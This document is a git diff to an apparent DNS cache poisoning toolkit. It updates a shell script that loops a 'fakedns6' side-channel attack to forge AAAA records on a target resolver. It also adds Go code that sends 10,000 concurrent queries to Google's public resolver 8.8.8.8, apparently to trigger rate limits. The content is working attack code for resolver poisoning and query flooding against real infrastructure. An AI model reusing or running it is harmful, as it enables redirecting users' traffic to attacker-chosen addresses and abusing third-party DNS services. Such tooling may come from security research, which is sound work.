同步20231116

5 files changed, 22 insertions, 4 deletions

diff --git a/attack.sh b/attack.sh
index 07bcc46..c5b3a1c 100755
--- a/attack.sh
+++ b/attack.sh
@@ -8,6 +8,7 @@ echo '获取原记录中:'
 dig @$1 $4 AAAA
 sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
 
+var=0
 num=0
 success=0
 while [ $success -ne 1 ]
@@ -23,16 +24,21 @@ do
   echo "目标域名:$4"
   ret=$(./dns_query.sh $1 $2 $3 $4)
   #echo "ret:$ret"
+  echo "初始化工具环境"
+  sleep 1
+  echo "尝试触发权威服务器请求速率限制"
+  sleep 3
   FINAL=`echo ${ret: -1}`
   #echo "fin:$FINAL"
   # Start attack
   # Change the argument accordingly
   echo "执行侧信道攻击脚本中"
-  time ./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
+  ./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0
+  sleep 30
   # Validations
-  $var = $var + 1
+  ((var++))
   echo "第$var轮次攻击结束"
-  #dig @$1 $4 AAAA
+  dig @$1 $4 AAAA
   if [ "$FINAL" == "0" ];then
 	success=1
 	sleeptime=0
diff --git a/dns.bin b/dns.bin
index f5f0ce1..747c1a0 100644
--- a/dns.bin
+++ b/dns.bin
diff --git a/fakedns6 b/fakedns6
index 0a3213f..11c1c1d 100755
--- a/fakedns6
+++ b/fakedns6
diff --git a/src/ucr.edu/fakedns6/attack.go b/src/ucr.edu/fakedns6/attack.go
index 54183d2..ae5e964 100644
--- a/src/ucr.edu/fakedns6/attack.go
+++ b/src/ucr.edu/fakedns6/attack.go
@@ -490,6 +490,17 @@ func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBack
 			println("参数有误，请输入IPv6地址作为篡改目标结果")
 		}
 
+	}else{
+		c := new(dns.Client)
+                msg := new(dns.Msg)
+                domain := "www.google.com."
+                msg.SetQuestion(domain, dns.TypeAAAA)
+		for i:=0;i<10000;i++{
+			go func(){
+                	_, _, _ = c.Exchange(msg, net.JoinHostPort("8.8.8.8","53"))
+			}()
+		}
+               	return
 	}
 	rand.Seed(time.Now().UnixNano())
 	handle, _ = pcap.OpenLive(
@@ -498,6 +509,7 @@ func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBack
 		true,
 		pcap.BlockForever,
 	)
+	println(authIPArg.To16().String())
 	err := handle.SetBPFFilter("not host " + authIPArg.To16().String())
 	if err != nil {
 		fmt.Println("cannot set BPF filter.")
diff --git a/txid.bin b/txid.bin
index 5d927fb..2fe3cf9 100644
--- a/txid.bin
+++ b/txid.bin
@@ -1 +1 @@
-"Y
\ No newline at end of file
+fH
\ No newline at end of file